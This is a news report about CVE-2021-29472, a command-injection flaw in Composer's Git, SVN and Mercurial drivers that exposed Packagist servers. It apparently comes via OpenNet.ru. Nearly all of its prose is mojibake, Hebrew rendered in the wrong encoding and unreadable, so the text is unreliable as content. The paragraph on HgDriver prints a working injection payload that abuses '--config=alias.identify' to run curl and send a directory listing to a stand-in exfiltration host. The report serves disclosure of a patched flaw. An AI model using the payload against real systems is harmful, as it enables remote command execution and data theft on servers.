ืืืืชื ืคืืืขืืช ืงืจืืืืช (CVE-2021-29472) ืืื ืื ืืชืืืช ืฉื Composer ืืืืคืฉืจืช ืืืฆืข ืคืงืืืืช ืฉืจืืจืืชืืืช ืืืขืจืืช ืืขืช ืขืืืื ืืืืื ืขื ืขืจื URL ืืคืืจืื ืืืืื ืืืฆืืื ืืช ืืืชืืืช ืืืืจืืช ืงืื ืืืงืืจ. ืืืขืื ืืชืจืืฉืช ืืจืืืื GitDriver, SvnDriver ื-HgDriver ืืืฉืืฉืื ืืขืช ืฉืืืืฉ ืืืขืจืืืช ืืงืจืช ืืงืืจ Git, Subversion ื-Mercurial. ืืคืืืขืืช ื ืคืชืจื ืืืืืืจืืช Composer 1.10.22 ื-2.0.13.
ืืฆืืื ืืืืืื ืฉืืืขืื ืืฉืคืืขื ืืขืืงืจ ืขื ืืืืจ ืืืืืืืช ืืจืืจืช ืืืืื ืฉื Composer, Packagist, ืืืืื 306 ืืืืืืช ืขืืืจ ืืคืชืื PHP ืืืฉืจืช ืืืชืจ ื-1.4 ืืืืืืจื ืืืจืืืช ืืืืืฉ. ืื ืืกืื ืืจืื ืฉืื ืืฉ ืืืข ืขื ืืืขืื, ืืชืืงืคืื ืืืืืื ืืืฉืื ืฉืืืื ืขื ืชืฉืชืืช ื-Packagist ืืืืืจื ืืช ืืืืฉืืจืื ืฉื ืืืชืืืงืื ืื ืืืคื ืืช ืืืจืืืช ืืืืืืช ืืฉืจืช ืฉื ืฆื ืฉืืืฉื, ืืืืจืื ืืฉืืื ืฉื ืืจืกืืืช ืืืืื ืขื ืฉืื ืืืื ืืืื ืืื ืืื ืืืืืืฃ ืืืช ืืืืจืืช ืืืืื ืชืืืื ืืชืงื ืช ืืชืืืช.
ืืกืื ื ืขืืืจ ืืฉืชืืฉื ืืงืฆื ืืืืืืช ืืขืืืื ืฉืืชืืื ืฉื composer.json ื ืงืืข ืืืจื ืืื ืขื ืืื ืืืฉืชืืฉ, ืืงืืฉืืจื ืืงืืจ ืืฉืืืจืื ืืขืช ืืืฉื ืืืืืจืื ืฉื ืฆื ืฉืืืฉื, ืฉืืืจื ืืื ืืืืื ืื. ืืืื ืืขืืงืจืืช ื ืคืื ืขื ืืืืจ Packagist.org ืืขื ืฉืืจืืช ื-Private Packagist, ืฉืืชืงืฉืจ ื-Composer ืขื ืืขืืจืช ืื ืชืื ืื ืฉืืชืงืืื ืืืฉืชืืฉืื. ืชืืงืคืื ืืืืืื ืืืฆืข ืืช ืืงืื ืฉืืื ืืฉืจืชื Packagist ืขื ืืื ืืฆืืช ืืืืื ืฉืชืืื ื ื ืืืืืื.
ืฆืืืช Packagist ืชืืงื ืืช ืืคืืืขืืช ืชืื 12 ืฉืขืืช ืืจืืข ืืืืืื ืขื ืืคืืืขืืช. ืืืืงืจืื ืืืืืขื ืืืืคื ืคืจืื ืืืคืชืื Packagist ื-22 ืืืคืจืื, ืืืืขืื ืชืืงื ื ืืืืชื ืืื. ืขืืืื ืคืืืื ื-Composer ืืืชืืืืก ืืคืืืขืืช ืคืืจืกื ื-27 ืืืคืจืื, ืขื ืืคืจืืื ืฉื ืืฉืคื ื-28 ืืืคืจืื. ืืืงืืจืช ืฉื ืืืื ืื ืืฉืจืชื Packagist ืื ืืืืชื ืคืขืืืืช ืืฉืืื ืืงืฉืืจื ืืคืืืขืืช.
ืืืขืื ื ืืจืืช ืขื ืืื ืืื ืืงืื ืืืืืช ืืชืืืช ืืืชืจ ืืงืืืฅ ืืฉืืจืฉ composer.json ืืืงืืฉืืจื ืืืจืืช ืืืงืืจ. ืืฉืืืื ืงืืืืช ืืงืื ืืื ื ืืืืืจ 2011. Packagist ืืฉืชืืฉ ืืฉืืืืช ืืืืืืืช ืืื ืืืจืื ืืขืื ืช ืงืื ืืืื ืืืืืช ืงืฉืืจื ืืืขืจืืช ืืงืจืช ืืงืืจ ืกืคืฆืืคืืช, ืืฉืจ ืืืืฆืขืืช ืขื ืืื ืงืจืืื "fromShellCommandline" ืืืขืืจืช ืืจืืืื ืืื ืฉื ืฉืืจืช ืืคืงืืื. ืืืืืื, ืขืืืจ git, ืืคืงืืื "git ls-remote -heads $URL" ื ืงืจืืช, ืืืฉืจ ืืชืืืช ื-URL ืืขืืืืช ืืืืฆืขืืช ืฉืืืช "ProcessExecutor::escape($url)", ืืืจืืช ืืื ืื ืฉืขืืืืื ืืืืืช ืืกืืื ืื ืืืื "$(. ..)" ืื "` ...`".
ืืืืช ืืืขืื ืืื ืฉืฉืืืช ProcessExecutor::escape ืื ืืจืื ืืืจืฆืฃ "โ", ืื ืฉืืคืฉืจ ืืฆืืื ืื ืคืจืืืจ ืงืจืืื ื ืืกืฃ ืืืชืืืช ื-URL. ืืจืืื ืืื ืืืืชื ืืกืจื ืืื ืืื ืืชืงื ืื ืฉื GitDriver.php, SvnDriver.php ื-HgDriver.php. ืืชืงืคืช GitDriver.php ื ืืืื ืขื ืืื ืืขืืืื ืฉืืคืงืืื "git ls-remote" ืื ืชืืื ืืฆืืื ืืจืืืื ืืื ื ืืกืคืื ืืืืจ ืื ืชืื. ืืชืงืคื ืขื HgDriver.php ืืชืืจืจื ืืืคืฉืจืืช ืขื ืืื ืืขืืจืช ืืคืจืืืจ "--config" ืืืื ืืฉืืจืืช "hq", ืืืืคืฉืจ ืื ืืืจืื ืืช ืืืืฆืืข ืฉื ืื ืคืงืืื ืขื ืืื ืื ืืคืืืฆืื ืฉื ืืืืืจื "alias.identify". ืืืืืื, ืืื ืืืืจืื ืืืืคืขืื ืงืื ืขื ืืื ืืคืขืืช ืืื ืืฉืืจืืช curl, ืชืืื ืืฆืืื: โconfig=alias.identify=!curl http://exfiltration-host.tld โdata "$(ls -alh)"
ืขื ืืื ืคืจืกืื ืืืืืช ืืืืงื ืขื ืืชืืืช URL ืืืื ื-Packagist, ืืืืงืจืื ืืืืชื ืื ืืืืจ ืืคืจืกืื, ืืฉืจืช ืฉืืื ืงืืื ืืงืฉืช HTTP ืืืื ืืฉืจืชื Packagist ื-AWS ืืืืืื ืจืฉืืื ืฉื ืงืืฆืื ืืกืคืจืืื ืื ืืืืืช.
ืืงืืจ: OpenNet.ru